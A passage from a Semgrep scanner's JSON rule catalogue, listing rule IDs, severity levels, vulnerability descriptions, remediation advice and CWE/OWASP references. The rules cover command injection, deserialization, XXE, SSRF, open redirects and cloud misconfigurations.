python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Use `Seq(...)` for dynamically generated commands."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","id":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","name":"scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scala-dangerous-process-run.scala-dangerous-process-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-marshal.tainted-marshal","id":"python.lang.deserialization.tainted-marshal.tainted-marshal","name":"python.lang.deserialization.tainted-marshal.tainted-marshal","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-marshal.tainted-marshal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","id":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","name":"javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-connection-string.node-sequelize-empty-password-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-jsonpickle-aws-lambda.tainted-jsonpickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"help":{"markdown":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public)\n - [https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html](https://docs.aws.amazon.com/codebuild/latest/userguide/public-builds.html)\n","text":"CodeBuild Project $X is set to have a public URL. This will make the build results, logs, artifacts publically accessible, including builds prior to the project being public. Ensure this is acceptable for the project."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","id":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","name":"typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-codebuild-project-public.awscdk-codebuild-project-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'printf' or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","id":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","name":"go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-printf-in-responsewriter.no-printf-in-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference](https://docs.docker.com/compose/compose-file/compose-file-v3/#volume-configuration-reference)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from volumes to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","id":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","name":"yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.exposing-docker-socket-volume.exposing-docker-socket-volume"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects direct creations of $HTTPS servers that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions1.disallow-old-tls-versions1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The AWS Athena Work Group is unencrypted. The AWS KMS encryption key protects backups in the work group. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","id":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","name":"terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-athena-workgroup-unencrypted.aws-athena-workgroup-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"help":{"markdown":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"<- A new object is created where the class name is based on user input. This could lead to remote code execution, as it allows to instantiate any class in the application."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","id":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","name":"php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-object-instantiation.tainted-object-instantiation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse](https://fastapi.tiangolo.com/uk/reference/responses/?h=redirect#fastapi.responses.RedirectResponse)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","id":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","name":"python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-redirect-fastapi.tainted-redirect-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"help":{"markdown":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS RDS has no retention. Missing retention can cause losing important event information. To fix this, set a `backup_retention_period`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","id":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","name":"terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-rds-backup-no-retention.aws-rds-backup-no-retention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.rest-client.ssrf","id":"csharp.lang.security.ssrf.rest-client.ssrf","name":"csharp.lang.security.ssrf.rest-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.rest-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support)\n - [https://www.npmjs.com/package/axios](https://www.npmjs.com/package/axios)\n - [https://www.npmjs.com/package/got](https://www.npmjs.com/package/got)\n - [https://www.npmjs.com/package/node-rest-client](https://www.npmjs.com/package/node-rest-client)\n","text":"Checks for requests to http (unencrypted) sites using some of node js's most popular REST/HTTP libraries, including node-rest-client, axios, and got."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","id":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","name":"problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.rest-http-client-support.rest-http-client-support"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected user input controlling a file path. An attacker could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-file-path.tainted-file-path)\n - 